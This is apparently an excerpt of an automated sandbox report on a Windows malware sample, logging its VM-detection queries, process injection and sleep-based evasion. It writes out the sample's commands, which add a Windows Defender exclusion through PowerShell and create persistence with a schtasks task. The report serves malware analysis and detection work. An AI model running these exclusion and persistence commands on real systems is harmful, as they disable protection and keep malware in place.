Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: lZ8NRWShfC.exe PID: 6884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: TmfmVKU.exe PID: 7308, type: MEMORYSTR

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Memory allocated: 2D00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Memory allocated: 2EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Memory allocated: 4EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Memory allocated: 6310000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Memory allocated: 7310000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Memory allocated: 7550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Memory allocated: 8550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Memory allocated: 1060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Memory allocated: 2A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Memory allocated: 4A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Memory allocated: 1A60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Memory allocated: 3330000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Memory allocated: 3140000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Memory allocated: 66B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Memory allocated: 76B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Memory allocated: 66B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Memory allocated: 2A50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Memory allocated: 2BE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Memory allocated: 4BE0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5615	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5826	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Window / User API: threadDelayed 3408	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Window / User API: threadDelayed 3833	Jump to behavior
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Window / User API: threadDelayed 1632
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Window / User API: threadDelayed 6585

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe TID: 6924	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6328	Thread sleep count: 5615 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7256	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6328	Thread sleep count: 259 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7252	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7172	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe TID: 7540	Thread sleep time: -24903104499507879s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe TID: 7328	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe TID: 7276	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe TID: 7368	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe TID: 7936	Thread sleep time: -22136092888451448s >= -30000s
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe TID: 7696	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe TID: 7664	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\NULL	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\NULL	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Local\Temp\acrocef_low\NULL	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\Acrobat	Jump to behavior

Source: TmfmVKU.exe, 0000000A.00000002.1854827025.0000000001432000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: TmfmVKU.exe, 0000000E.00000002.1964139932.0000000000FF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllg
Source: lZ8NRWShfC.exe, 00000008.00000002.1871636462.0000000000EDA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\lZ8NRWShfC.exe"
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\TmfmVKU.exe"
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\lZ8NRWShfC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\TmfmVKU.exe"	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Memory written: C:\Users\user\Desktop\lZ8NRWShfC.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Memory written: C:\Users\user\AppData\Roaming\TmfmVKU.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\lZ8NRWShfC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\TmfmVKU.exe"	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp51ED.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Users\user\Desktop\lZ8NRWShfC.exe "C:\Users\user\Desktop\lZ8NRWShfC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process created: C:\Users\user\Desktop\lZ8NRWShfC.exe "C:\Users\user\Desktop\lZ8NRWShfC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp76F9.tmp"
Source: C:\Users\user\AppData\Roaming\TmfmVKU.exe	Process created: C:\Users\user\AppData\Roaming\TmfmVKU.exe "C:\Users\user\AppData\Roaming\TmfmVKU.exe"

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Users\user\Desktop\lZ8NRWShfC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
